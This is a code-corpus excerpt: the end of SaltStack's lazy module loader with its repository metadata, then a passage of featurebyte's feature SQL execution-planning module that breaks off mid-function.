  Given a loaded module and its default name determine its virtual name\n\n        This function returns a tuple. The first value will be either True or\n        False and will indicate if the module should be loaded or not (i.e. if\n        it threw and exception while processing its __virtual__ function). The\n        second value is the determined virtual name, which may be the same as\n        the value provided.\n\n        The default name can be calculated as follows::\n\n            module_name = mod.__name__.rsplit('.', 1)[-1]\n        \"\"\"\n\n        # The __virtual__ function will return either a True or False value.\n        # If it returns a True value it can also set a module level attribute\n        # named __virtualname__ with the name that the module should be\n        # referred to as.\n        #\n        # This allows us to have things like the pkg module working on all\n        # platforms under the name 'pkg'. It also allows for modules like\n        # augeas_cfg to be referred to as 'augeas', which would otherwise have\n        # namespace collisions. And finally it allows modules to return False\n        # if they are not intended to run on the given platform or are missing\n        # dependencies.\n        virtual_aliases = getattr(mod, \"__virtual_aliases__\", tuple())\n        try:\n            error_reason = None\n            if hasattr(mod, \"__virtual__\") and inspect.isfunction(mod.__virtual__):\n                try:\n                    start = time.time()\n                    virtual_attr = getattr(mod, virtual_func)\n                    virtual = self.run(virtual_attr)\n                    if isinstance(virtual, tuple):\n                        error_reason = virtual[1]\n                        virtual = virtual[0]\n                    if self.opts.get(\"virtual_timer\", False):\n                        end = time.time() - start\n                        msg = \"Virtual function took {} seconds for {}\".format(\n                            end, module_name\n                        )\n                        log.warning(msg)\n                except Exception as exc:  # pylint: disable=broad-except\n                    error_reason = (\n                        \"Exception raised when processing __virtual__ function\"\n                        \" for {}. Module will not be loaded: {}\".format(\n                            mod.__name__, exc\n                        )\n                    )\n                    log.error(error_reason, exc_info_on_loglevel=logging.DEBUG)\n                    virtual = None\n                # Get the module's virtual name\n                virtualname = getattr(mod, \"__virtualname__\", virtual)\n                if not virtual:\n                    # if __virtual__() evaluates to False then the module\n                    # wasn't meant for this platform or it's not supposed to\n                    # load for some other reason.\n\n                    # Some modules might accidentally return None and are\n                    # improperly loaded\n                    if virtual is None:\n                        log.warning(\n                            \"%s.__virtual__() is wrongly returning `None`. \"\n                            \"It should either return `True`, `False` or a new \"\n                            \"name. If you're the developer of the module \"\n                            \"'%s', please fix this.\",\n                            mod.__name__,\n                            module_name,\n                        )\n\n                    return (False, module_name, error_reason, virtual_aliases)\n\n                # At this point, __virtual__ did not return a\n                # boolean value, let's check for deprecated usage\n                # or module renames\n                if virtual is not True and module_name != virtual:\n                    # The module is renaming itself. Updating the module name\n                    # with the new name\n                    log.trace(\"Loaded %s as virtual %s\", module_name, virtual)\n\n                    if virtualname != virtual:\n                        # The __virtualname__ attribute does not match what's\n                        # being returned by the __virtual__() function. This\n                        # should be considered an error.\n                        log.error(\n                            \"The module '%s' is showing some bad usage. Its \"\n                            \"__virtualname__ attribute is set to '%s' yet the \"\n                            \"__virtual__() function is returning '%s'. These \"\n                            \"values should match!\",\n                            mod.__name__,\n                            virtualname,\n                            virtual,\n                        )\n\n                    module_name = virtualname\n\n                # If the __virtual__ function returns True and __virtualname__\n                # is set then use it\n                elif virtual is True and virtualname != module_name:\n                    if virtualname is not True:\n                        module_name = virtualname\n\n        except KeyError:\n            # Key errors come out of the virtual function when passing\n            # in incomplete grains sets, these can be safely ignored\n            # and logged to debug, still, it includes the traceback to\n            # help debugging.\n            log.debug(\"KeyError when loading %s\", module_name, exc_info=True)\n\n        except Exception:  # pylint: disable=broad-except\n            # If the module throws an exception during __virtual__()\n            # then log the information and continue to the next.\n            log.error(\n                \"Failed to read the virtual function for %s: %s\",\n                self.tag,\n                module_name,\n                exc_info=True,\n            )\n            return (False, module_name, error_reason, virtual_aliases)\n\n        return (True, module_name, None, virtual_aliases)\n\n    def run(self, _func_or_method, *args, **kwargs):\n        \"\"\"\n        Run the `_func_or_method` in this loader's context\n        \"\"\"\n        self._last_context = contextvars.copy_context()\n        return self._last_context.run(self._run_as, _func_or_method, *args, **kwargs)\n\n    def _run_as(self, _func_or_method, *args, **kwargs):\n        \"\"\"\n        Handle setting up the context properly and call the method\n        \"\"\"\n        self.parent_loader = None\n        try:\n            current_loader = salt.loader.context.loader_ctxvar.get()\n        except LookupError:\n            current_loader = None\n        if current_loader is not self:\n            self.parent_loader = current_loader\n        token = salt.loader.context.loader_ctxvar.set(self)\n        try:\n            return _func_or_method(*args, **kwargs)\n        finally:\n            self.parent_loader = None\n            salt.loader.context.loader_ctxvar.reset(token)\n\n    def run_in_thread(self, _func_or_method, *args, **kwargs):\n        \"\"\"\n        Run the function in a new thread with the context of this loader\n        \"\"\"\n        argslist = [self, _func_or_method]\n        argslist.extend(args)\n        thread = threading.Thread(target=self.target, args=argslist, kwargs=kwargs)\n        thread.start()\n        return thread\n\n    @staticmethod\n    def target(loader, _func_or_method, *args, **kwargs):\n        loader.run(_func_or_method, *args, **kwargs)\n\n\ndef global_injector_decorator(inject_globals):\n    \"\"\"\n    Decorator used by the LazyLoader to inject globals into a function at\n    execute time.\n\n    globals\n        Dictionary with global variables to inject\n    \"\"\"\n\n    def inner_decorator(f):\n        @functools.wraps(f)\n        def wrapper(*args, **kwargs):\n            with salt.utils.context.func_globals_inject(f, **inject_globals):\n                return f(*args, **kwargs)\n\n        return wrapper\n\n    return inner_decorator\n", "repo_name": "saltstack/salt", "sub_path": "salt/loader/lazy.py", "file_name": "lazy.py", "file_ext": "py", "file_size_in_byte": 50415, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13606, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 46, "usage_type": "call"}, {"api_name": "importlib.machinery", "line_number": 54, "usage_type": "attribute"}, {"api_name": "importlib.machinery", "line_number": 56, "usage_type": "attribute"}, {"api_name": "importlib.machinery", "line_number": 58, "usage_type": "attribute"}, {"api_name": "importlib.machinery", "line_number": 61, "usage_type": "attribute"}, {"api_name": "importlib.machinery", "line_number": 62, "usage_type": "attribute"}, {"api_name": "importlib.machinery", "line_number": 63, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 68, "usage_type": "call"}, {"api_name": "salt.config.syspaths", "line_number": 68, "usage_type": "attribute"}, {"api_name": "salt.config", "line_number": 68, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 70, "usage_type": "call"}, {"api_name": "sys.version_info", "line_number": 70, "usage_type": "attribute"}, {"api_name": "sys.modules", "line_number": 77, "usage_type": "attribute"}, {"api_name": "types.ModuleType", "line_number": 82, "usage_type": "call"}, {"api_name": "sys.modules", "line_number": 84, "usage_type": "attribute"}, {"api_name": "collections.abc.MutableMapping", "line_number": 93, "usage_type": "name"}, {"api_name": "functools.update_wrapper", "line_number": 137, "usage_type": "call"}, {"api_name": "sys.modules", "line_number": 148, "usage_type": "attribute"}, {"api_name": "salt.config.loader", "line_number": 154, "usage_type": "attribute"}, {"api_name": "salt.config", "line_number": 154, "usage_type": "name"}, {"api_name": "salt.config.utils", "line_number": 201, "usage_type": "attribute"}, {"api_name": "salt.config", "line_number": 201, "usage_type": "name"}, {"api_name": "salt.config.loader", "line_number": 259, "usage_type": "attribute"}, {"api_name": "salt.config", "line_number": 259, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 263, "usage_type": "call"}, {"api_name": "salt.config.loader", "line_number": 266, "usage_type": "attribute"}, {"api_name": "salt.config", "line_number": 266, "usage_type": "name"}, {"api_name": "threading.RLock", "line_number": 335, "usage_type": "call"}, {"api_name": "sys.modules", "line_number": 341, "usage_type": "attribute"}, {"api_name": "sys.modules", "line_number": 343, "usage_type": "attribute"}, {"api_name": "salt.config.utils.odict.OrderedDict", "line_number": 442, "usage_type": "call"}, {"api_name": "salt.config.utils", "line_number": 442, "usage_type": "attribute"}, {"api_name": "salt.config", "line_number": 442, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 460, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 465, "usage_type": "call"}, {"api_name": "os.path", "line_number": 465, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 466, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 466, "usage_type": "call"}, {"api_name": "os.path", "line_number": 466, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 475, "usage_type": "call"}, {"api_name": "os.path", "line_number": 475, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 480, "usage_type": "call"}, {"api_name": "os.path", "line_number": 480, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 510, "usage_type": "call"}, {"api_name": "os.path", "line_number": 510, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 514, "usage_type": "call"}, {"api_name": "salt.config.loader", "line_number": 586, "usage_type": "attribute"}, {"api_name": "salt.config", "line_number": 586, "usage_type": "name"}, {"api_name": "salt.config.loader", "line_number": 592, "usage_type": "attribute"}, {"api_name": "salt.config", "line_number": 592, "usage_type": "name"}, {"api_name": "importlib.reload", "line_number": 636, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 641, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 642, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 642, "usage_type": "attribute"}, {"api_name": "sys.path", "line_number": 648, "usage_type": "attribute"}, {"api_name": "sys.path.remove", "line_number": 649, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 649, "usage_type": "attribute"}, {"api_name": "importlib.invalidate_caches", "line_number": 655, "usage_type": "call"}, {"api_name": "sys.path_importer_cache", "line_number": 664, "usage_type": "attribute"}, {"api_name": "sys.path_importer_cache", "line_number": 665, "usage_type": "attribute"}, {"api_name": "sys.path_importer_cache", "line_number": 667, "usage_type": "attribute"}, {"api_name": "sys.implementation.cache_tag.split", "line_number": 680, "usage_type": "call"}, {"api_name": "sys.implementation", "line_number": 680, "usage_type": "attribute"}, {"api_name": "sys.implementation", "line_number": 687, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 695, "usage_type": "call"}, {"api_name": "os.path", "line_number": 695, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 698, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 698, "usage_type": "attribute"}, {"api_name": "tempfile.gettempdir", "line_number": 700, "usage_type": "call"}, {"api_name": "zipimport.zipimporter", "line_number": 711, "usage_type": "call"}, {"api_name": "importlib.machinery", "line_number": 736, "usage_type": "attribute"}, {"api_name": "importlib.machinery", "line_number": 737, "usage_type": "attribute"}, {"api_name": "importlib.machinery", "line_number": 740, "usage_type": "attribute"}, {"api_name": "importlib.machinery", "line_number": 741, "usage_type": "attribute"}, {"api_name": "importlib.machinery", "line_number": 744, "usage_type": "attribute"}, {"api_name": "importlib.machinery", "line_number": 745, "usage_type": "attribute"}, {"api_name": "importlib.machinery.FileFinder", "line_number": 748, "usage_type": "call"}, {"api_name": "importlib.machinery", "line_number": 748, "usage_type": "attribute"}, {"api_name": "importlib.util.module_from_spec", "line_number": 754, "usage_type": "call"}, {"api_name": "importlib.util", "line_number": 754, "usage_type": "attribute"}, {"api_name": "sys.modules", "line_number": 757, "usage_type": "attribute"}, {"api_name": "importlib.util.spec_from_file_location", "line_number": 764, "usage_type": "call"}, {"api_name": "importlib.util", "line_number": 764, "usage_type": "attribute"}, {"api_name": "importlib.util.module_from_spec", "line_number": 769, "usage_type": "call"}, {"api_name": "importlib.util", "line_number": 769, "usage_type": "attribute"}, {"api_name": "sys.modules", "line_number": 772, "usage_type": "attribute"}, {"api_name": "traceback.extract_tb", "line_number": 799, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 799, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 804, "usage_type": "call"}, {"api_name": "os.path", "line_number": 804, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 805, "usage_type": "call"}, {"api_name": "os.path", "line_number": 805, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 806, "usage_type": "call"}, {"api_name": "os.path", "line_number": 806, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 813, "usage_type": "call"}, {"api_name": "salt.config.defaults", "line_number": 813, "usage_type": "attribute"}, {"api_name": "salt.config", "line_number": 813, "usage_type": "name"}, {"api_name": "sys.path.remove", "line_number": 823, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 823, "usage_type": "attribute"}, {"api_name": "salt.config.loader.context.LoaderContext", "line_number": 826, "usage_type": "call"}, {"api_name": "salt.config.loader", "line_number": 826, "usage_type": "attribute"}, {"api_name": "salt.config", "line_number": 826, "usage_type": "name"}, {"api_name": "salt.config.loader", "line_number": 828, "usage_type": "attribute"}, {"api_name": "salt.config", "line_number": 828, "usage_type": "name"}, {"api_name": "salt.config.loader", "line_number": 835, "usage_type": "attribute"}, {"api_name": "salt.config", "line_number": 835, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 837, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 838, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 843, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 852, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 867, "usage_type": "call"}, {"api_name": "inspect.isfunction", "line_number": 883, "usage_type": "call"}, {"api_name": "inspect.isfunction", "line_number": 975, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 975, "usage_type": "attribute"}, {"api_name": "salt.utils.decorators.extension_deprecation.extension_deprecation_message", "line_number": 990, "usage_type": "call"}, {"api_name": "salt.utils.decorators.Depends.enforce_dependencies", "line_number": 1014, "usage_type": "call"}, {"api_name": "salt.utils.decorators.Depends", "line_number": 1014, "usage_type": "name"}, {"api_name": "inspect.isfunction", "line_number": 1134, "usage_type": "call"}, {"api_name": "time.time", "line_number": 1136, "usage_type": "call"}, {"api_name": "time.time", "line_number": 1143, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 1155, "usage_type": "attribute"}, {"api_name": "contextvars.copy_context", "line_number": 1232, "usage_type": "call"}, {"api_name": "salt.config.loader.context.loader_ctxvar.get", "line_number": 1241, "usage_type": "call"}, {"api_name": "salt.config.loader", "line_number": 1241, "usage_type": "attribute"}, {"api_name": "salt.config", "line_number": 1241, "usage_type": "name"}, {"api_name": "salt.config.loader.context.loader_ctxvar.set", "line_number": 1246, "usage_type": "call"}, {"api_name": "salt.config.loader", "line_number": 1246, "usage_type": "attribute"}, {"api_name": "salt.config", "line_number": 1246, "usage_type": "name"}, {"api_name": "salt.config.loader.context.loader_ctxvar.reset", "line_number": 1251, "usage_type": "call"}, {"api_name": "salt.config.loader", "line_number": 1251, "usage_type": "attribute"}, {"api_name": "salt.config", "line_number": 1251, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 1259, "usage_type": "call"}, {"api_name": "salt.config.utils.context.func_globals_inject", "line_number": 1280, "usage_type": "call"}, {"api_name": "salt.config.utils", "line_number": 1280, "usage_type": "attribute"}, {"api_name": "salt.config", "line_number": 1280, "usage_type": "name"}, {"api_name": "functools.wraps", "line_number": 1278, "usage_type": "call"}]}
{"seq_id": "12029574451", "text": "\"\"\"\nModule with logic related to feature SQL generation\n\"\"\"\nfrom __future__ import annotations\n\nfrom typing import Iterable, Optional, Sequence, Type, Union\n\nimport sys\n\nfrom bson import ObjectId\nfrom sqlglot import expressions\nfrom sqlglot.expressions import select\n\nfrom featurebyte.enum import SourceType\nfrom featurebyte.models.parent_serving import ParentServingPreparation\nfrom featurebyte.query_graph.enum import NodeType\nfrom featurebyte.query_graph.model.graph import QueryGraphModel\nfrom featurebyte.query_graph.node import Node\nfrom featurebyte.query_graph.sql.adapter import get_sql_adapter\nfrom featurebyte.query_graph.sql.aggregator.asat import AsAtAggregator\nfrom featurebyte.query_graph.sql.aggregator.base import TileBasedAggregator\nfrom featurebyte.query_graph.sql.aggregator.forward import ForwardAggregator\nfrom featurebyte.query_graph.sql.aggregator.item import ItemAggregator\nfrom featurebyte.query_graph.sql.aggregator.latest import LatestAggregator\nfrom featurebyte.query_graph.sql.aggregator.lookup import LookupAggregator\nfrom featurebyte.query_graph.sql.aggregator.lookup_target import LookupTargetAggregator\nfrom featurebyte.query_graph.sql.aggregator.window import WindowAggregator\nfrom featurebyte.query_graph.sql.ast.base import TableNode\nfrom featurebyte.query_graph.sql.ast.generic import AliasNode, Project\nfrom featurebyte.query_graph.sql.builder import SQLOperationGraph\nfrom featurebyte.query_graph.sql.common import (\n    CteStatement,\n    CteStatements,\n    SQLType,\n    construct_cte_sql,\n    quoted_identifier,\n)\nfrom featurebyte.query_graph.sql.parent_serving import construct_request_table_with_parent_entities\nfrom featurebyte.query_graph.sql.specifications.lookup import LookupSpec\nfrom featurebyte.query_graph.sql.specifications.lookup_target import LookupTargetSpec\nfrom featurebyte.query_graph.sql.specs import (\n    AggregateAsAtSpec,\n    AggregationSpec,\n    AggregationType,\n    FeatureSpec,\n    ForwardAggregateSpec,\n    ItemAggregationSpec,\n    NonTileBasedAggregationSpec,\n    TileBasedAggregationSpec,\n)\nfrom featurebyte.query_graph.transform.flattening import GraphFlatteningTransformer\n\nAggregatorType = Union[\n    LatestAggregator,\n    LookupAggregator,\n    LookupTargetAggregator,\n    WindowAggregator,\n    ItemAggregator,\n    AsAtAggregator,\n    ForwardAggregator,\n]\nAggregationSpecType = Union[TileBasedAggregationSpec, NonTileBasedAggregationSpec]\n\nsys.setrecursionlimit(10000)\n\n\nclass FeatureExecutionPlan:\n    \"\"\"Responsible for constructing the SQL to compute features by aggregating tiles\"\"\"\n\n    AGGREGATION_TABLE_NAME = \"_FB_AGGREGATED\"\n\n    def __init__(\n        self,\n        source_type: SourceType,\n        is_online_serving: bool,\n        parent_serving_preparation: ParentServingPreparation | None = None,\n    ) -> None:\n        aggregator_kwargs = {\"source_type\": source_type, \"is_online_serving\": is_online_serving}\n        self.aggregators: dict[str, AggregatorType] = {\n            AggregationType.LATEST: LatestAggregator(**aggregator_kwargs),\n            AggregationType.LOOKUP: LookupAggregator(**aggregator_kwargs),\n            AggregationType.LOOKUP_TARGET: LookupTargetAggregator(**aggregator_kwargs),\n            AggregationType.WINDOW: WindowAggregator(**aggregator_kwargs),\n            AggregationType.ITEM: ItemAggregator(**aggregator_kwargs),\n            AggregationType.AS_AT: AsAtAggregator(**aggregator_kwargs),\n            AggregationType.FORWARD: ForwardAggregator(**aggregator_kwargs),\n        }\n        self.feature_specs: dict[str, FeatureSpec] = {}\n        self.adapter = get_sql_adapter(source_type)\n        self.source_type = source_type\n        self.parent_serving_preparation = parent_serving_preparation\n\n    @property\n    def required_serving_names(self) -> set[str]:\n        \"\"\"Returns the list of required serving names\n\n        Returns\n        -------\n        set[str]\n        \"\"\"\n        out = set()\n        for aggregator in self.iter_aggregators():\n            out.update(aggregator.get_required_serving_names())\n        return out\n\n    @property\n    def required_entity_ids(self) -> set[ObjectId]:\n        \"\"\"Returns the list of required entity_ids\n\n        Returns\n        -------\n        set[ObjectId]\n        \"\"\"\n        out = set()\n        for aggregator in self.iter_aggregators():\n            out.update(aggregator.get_required_entity_ids())\n        return out\n\n    @property\n    def feature_names(self) -> list[str]:\n        \"\"\"Returns the list of feature names\n\n        Returns\n        -------\n        list[str]\n        \"\"\"\n        return list(self.feature_specs.keys())\n\n    @property\n    def tile_based_aggregation_result_names(self) -> list[str]:\n        \"\"\"Returns the list of tile based aggregation result names\n\n        Returns\n        -------\n        list[str]\n        \"\"\"\n        out = set()\n        for aggregator in self.iter_aggregators():\n            if isinstance(aggregator, TileBasedAggregator):\n                for result_names in aggregator.agg_result_names_by_online_store_table.values():\n                    out.update(result_names)\n        return list(out)\n\n    def iter_aggregators(self) -> Iterable[AggregatorType]:\n        \"\"\"Iterate over all the aggregators\n\n        Yields\n        ------\n        BaseAggregator\n            Instance of an aggregator\n        \"\"\"\n        yield from self.aggregators.values()\n\n    def add_aggregation_spec(\n        self,\n        aggregation_spec: AggregationSpec,\n    ) -> None:\n        \"\"\"Add AggregationSpec to be incorporated when generating SQL\n\n        Parameters\n        ----------\n        aggregation_spec : AggregationSpec\n            Aggregation specification\n        \"\"\"\n        key = aggregation_spec.aggregation_type\n        aggregator = self.aggregators[key]\n        aggregator.update(aggregation_spec)  # type: ignore\n\n    def add_feature_spec(self, feature_spec: FeatureSpec) -> None:\n        \"\"\"Add FeatureSpec to be incorporated when generating SQL\n\n        Parameters\n        ----------\n        feature_spec : FeatureSpec\n            Feature specification\n\n        Raises\n        ------\n        ValueError\n            If there are duplicated feature names\n        \"\"\"\n        key = feature_spec.feature_name\n        if key in self.feature_specs:\n            raise ValueError(f\"Duplicated feature name: {key}\")\n        self.feature_specs[key] = feature_spec\n\n    def construct_request_table_with_parent_entities(\n        self,\n        request_table_name: str,\n        request_table_columns: list[str],\n    ) -> tuple[expressions.Select, list[str]]:\n        \"\"\"\n        Construct updated request table with parent entities added\n\n        Parameters\n        ----------\n        request_table_name: str\n            Name of the request table\n        request_table_columns: list[str]\n            Columns in the request table\n\n        Returns\n        -------\n        tuple[expressions.Select, List[str]]\n        \"\"\"\n        assert self.parent_serving_preparation is not None\n        parent_serving_result = construct_request_table_with_parent_entities(\n            request_table_name=request_table_name,\n            request_table_columns=request_table_columns,\n            join_steps=self.parent_serving_preparation.join_steps,\n            feature_store_details=self.parent_serving_preparation.feature_store_details,\n        )\n        return parent_serving_result.table_expr, parent_serving_result.parent_entity_columns\n\n    def construct_combined_aggregation_cte(\n        self,\n        request_table_name: str,\n        point_in_time_column: str,\n        request_table_columns: Optional[list[str]],\n    ) -> tuple[CteStatement, list[str]]:\n        \"\"\"Construct SQL code for all aggregations\n\n        Parameters\n        ----------\n        request_table_name : str\n            Name of request table to use\n        point_in_time_column : str\n            Point in time column\n        request_table_columns : Optional[list[str]]\n            Request table columns\n\n        Returns\n        -------\n        tuple[CteStatement, list[str]]\n            Tuple of CteExpression and list of column names\n        \"\"\"\n        # Select original columns first\n        if request_table_columns:\n            current_columns = request_table_columns[:]\n            formatted_request_table_columns = [\n                f\"REQ.{quoted_identifier(col).sql()}\" for col in request_table_columns\n            ]\n        else:\n            current_columns = []\n            formatted_request_table_columns = []\n        table_expr = select(*formatted_request_table_columns).from_(f\"{request_table_name} AS REQ\")\n\n        # Update table_expr using the aggregators\n        agg_table_index = 0\n        agg_result_names = []\n        for aggregator in self.iter_aggregators():\n            agg_result = aggregator.update_aggregation_table_expr(\n                table_expr=table_expr,\n                point_in_time_column=point_in_time_column,\n                current_columns=current_columns,\n                current_query_index=agg_table_index,\n            )\n            table_expr = agg_result.updated_table_expr\n            agg_table_index = agg_result.updated_index\n            current_columns += agg_result.column_names\n            agg_result_names += agg_result.column_names\n\n        return (self.AGGREGATION_TABLE_NAME, table_expr), agg_result_names\n\n    def construct_post_aggregation_sql(\n        self,\n        cte_context: expressions.Select,\n        request_table_columns: Optional[list[str]],\n        exclude_post_aggregation: bool,\n        agg_result_names: list[str],\n        exclude_columns: set[str],\n    ) -> expressions.Select:\n        \"\"\"Construct SQL code for post-aggregation that transforms aggregated results to features\n\n        Most of the time aggregated results are the features. However, some features require\n        additional transforms (e.g. UDF, arithmetic expressions, fillna, etc) after aggregation.\n\n        Columns in the request table is required so that all columns in the request table can be\n        passed through.\n\n        Parameters\n        ----------\n        cte_context : expressions.Select\n            A partial Select statement with CTEs defined\n        request_table_columns : Optional[list[str]]\n            Columns in the input request table\n        exclude_post_aggregation: bool\n            When True, exclude post aggregation transforms and select aggregated columns as the\n            output columns directly. Intended to be used by online store pre-computation.\n        agg_result_names: bool\n            Names of the aggregated columns. Used when excluded_post_aggregation is True.\n        exclude_columns: set[str]\n            Exclude these columns from the output. This is currently used when generating feature\n            retrieval sql for online requests where we want to exclude the internally added point in\n            time column from the final output.\n\n        Returns\n        -------\n        str\n        \"\"\"\n        columns: list[expressions.Expression | str] = []\n        if exclude_post_aggregation:\n            for agg_result_name in agg_result_names:\n                columns.append(quoted_identifier(agg_result_name))\n        else:\n            for feature_spec in self.feature_specs.values():\n                feature_alias = expressions.alias_(\n                    feature_spec.feature_expr, alias=feature_spec.feature_name, quoted=True\n                )\n                columns.append(feature_alias)\n\n        if request_table_columns:\n            request_table_column_names = [\n                f\"AGG.{quoted_identifier(col).sql()}\"\n                for col in request_table_columns\n                if col not in exclude_columns\n            ]\n        else:\n            request_table_column_names = []\n\n        table_expr = cte_context.select(*request_table_column_names, *columns).from_(\n            f\"{self.AGGREGATION_TABLE_NAME} AS AGG\"\n        )\n        return table_expr\n\n    def construct_combined_sql(\n        self,\n        request_table_name: str,\n        point_in_time_column: str,\n        request_table_columns: Optional[list[str]],\n        prior_cte_statements: Optional[CteStatements] = None,\n        exclude_post_aggregation: bool = False,\n        exclude_columns: Optional[set[str]] = None,\n    ) -> expressions.Select:\n        \"\"\"Construct combined SQL that will generate the features\n\n        Parameters\n        ----------\n        request_table_name : str\n            Name of request table to use\n        point_in_time_column : str\n            Point in time column\n        request_table_columns : Optional[list[str]]\n            Request table columns\n        prior_cte_statements : Optional[list[tuple[str, str]]]\n            Other CTE statements to incorporate to the final SQL (namely the request data SQL and\n            on-demand tile SQL)\n        exclude_post_aggregation: bool\n            When True, exclude post aggregation transforms and select aggregated columns as the\n            output columns directly. Intended to be used by online store pre-computation.\n        exclude_columns: Optional[set[str]]\n            When provided, exclude these columns from the output\n\n        Returns\n        -------\n        str\n        \"\"\"\n        cte_statements = []\n        if prior_cte_statements is not None:\n            assert isinstance(prior_cte_statements, list)\n            cte_statements.extend(prior_cte_statements)\n\n        if exclude_columns is None:\n            exclude_columns = set()\n\n        if self.parent_serving_preparation is not None:\n            assert request_table_columns is not None\n            (\n                updated_request_table_expr,\n                new_columns,\n            ) = self.construct_request_table_with_parent_entities(\n                request_table_name=request_table_name,\n                request_table_columns=request_table_columns,\n            )\n            request_table_name = \"JOINED_PARENTS_\" + request_table_name\n            cte_statements.append((request_table_name, updated_request_table_expr))\n            request_table_columns = request_table_columns + list(new_columns)\n            exclude_columns.update(new_columns)\n\n        for aggregator in self.iter_aggregators():\n            cte_statements.extend(aggregator.get_common_table_expressions(request_table_name))\n\n        agg_cte, agg_result_names = self.construct_combined_aggregation_cte(\n            request_table_name,\n            point_in_time_column,\n            request_table_columns,\n        )\n        cte_statements.append(agg_cte)\n        cte_context = construct_cte_sql(cte_statements)\n\n        post_aggregation_sql = self.construct_post_aggregation_sql(\n            cte_context=cte_context,\n            request_table_columns=request_table_columns,\n            exclude_post_aggregation=exclude_post_aggregation,\n            agg_result_names=agg_result_names,\n            exclude_columns=exclude_columns,\n        )\n        return post_aggregation_sql\n\n\nclass FeatureExecutionPlanner:\n    \"\"\"Responsible for constructing a FeatureExecutionPlan given QueryGraphModel and Node\n\n    Parameters\n    ----------\n    graph: QueryGraphModel\n        Query graph\n    source_type: SourceType\n        Source type information\n    is_online_serving: bool\n        Whether the generated code is intended for online serving\n    serving_names_mapping: dict[str, str] | None\n        Mapping from default serving names to new serving names\n    \"\"\"\n\n    def __init__(\n        self,\n        graph: QueryGraphModel,\n        is_online_serving: bool,\n        serving_names_mapping: dict[str, str] | None = None,\n        source_type: SourceType | None = None,\n        parent_serving_preparation: ParentServingPreparation | None = None,\n    ):\n        if source_type is None:\n            source_type = SourceType.SNOWFLAKE\n        self.graph, self.node_name_map = GraphFlatteningTransformer(graph=graph).transform()\n        self.plan = FeatureExecutionPlan(\n            source_type,\n            is_online_serving,\n            parent_serving_preparation=parent_serving_preparation,\n        )\n        self.source_type = source_type\n        self.serving_names_mapping = serving_names_mapping\n        self.is_online_serving = is_online_serving\n        self.adapter = get_sql_adapter(source_type)\n\n    def generate_plan(self, nodes: list[Node]) -> FeatureExecutionPlan:\n        \"\"\"Generate FeatureExecutionPlan for given list of query graph Nodes\n\n        Parameters\n        ----------\n        nodes : list[Node]\n            Query graph nodes\n\n        Returns\n        -------\n        FeatureExecutionPlan\n        \"\"\"\n        for node in nodes:\n            # map the input node to the node inside the flattened graph (self.graph)\n            mapped_node = self.graph.get_node_by_name(self.node_name_map[node.name])\n            self.process_node(mapped_node)\n        return self.plan\n\n    def process_node(self, node: Node) -> None:\n        \"\"\"Update plan state for a given query graph Node\n\n        Parameters\n        ----------\n        node : Node\n            Query graph node\n        \"\"\"\n        agg_specs = self.get_aggregation_specs(node)\n        for agg_spec in agg_specs:\n            self.plan.add_aggregation_spec(agg_spec)\n        self.update_feature_specs(node)\n\n    def get_aggregation_specs(  # pylint: disable=too-many-branches\n        self, node: Node\n    ) -> list[AggregationSpecType]:\n        \"\"\"Get list of aggregation specs for a given query graph node\n\n        Parameters\n        ----------\n        node : Node\n            Query graph node\n\n        Returns\n        -------\n        AggregationSpec\n        \"\"\"\n        groupby_nodes = list(self.graph.iterate_nodes(node, NodeType.GROUPBY))\n        # If ITEM_GROUPBY nodes can be reached without going through GROUPBY nodes, they need to be\n        # processed separately as simple aggregations (not part of double aggregations).\n        if node.type == NodeType.GROUPBY:\n            # This should occur only in test. In practice, all feature nodes are alias or project\n            # nodes.\n            item_groupby_nodes = []\n        else:\n            item_groupby_nodes = list(\n                self.graph.iterate_nodes(\n                    node, NodeType.ITEM_GROUPBY, skip_node_type=NodeType.GROUPBY\n                )\n            )\n        lookup_nodes = list(self.graph.iterate_nodes(node, NodeType.LOOKUP))\n        lookup_target_nodes = list(self.graph.iterate_nodes(node, NodeType.LOOKUP_TARGET))\n        asat_nodes = list(self.graph.iterate_nodes(node, NodeType.AGGREGATE_AS_AT))\n        forward_aggregate_nodes = list(self.graph.iterate_nodes(node, NodeType.FORWARD_AGGREGATE))\n\n        out: list[AggregationSpecType] = []\n        if groupby_nodes:\n            for groupby_node in groupby_nodes:\n                out.extend(self.get_specs_from_groupby(groupby_node))\n\n        if item_groupby_nodes:\n            # Feature involves non-time-aware aggregations\n            for item_groupby_node in item_groupby_nodes:\n                out.extend(self.get_non_tiling_specs(ItemAggregationSpec, item_groupby_node))\n\n        if lookup_nodes:\n            for lookup_node in lookup_nodes:\n                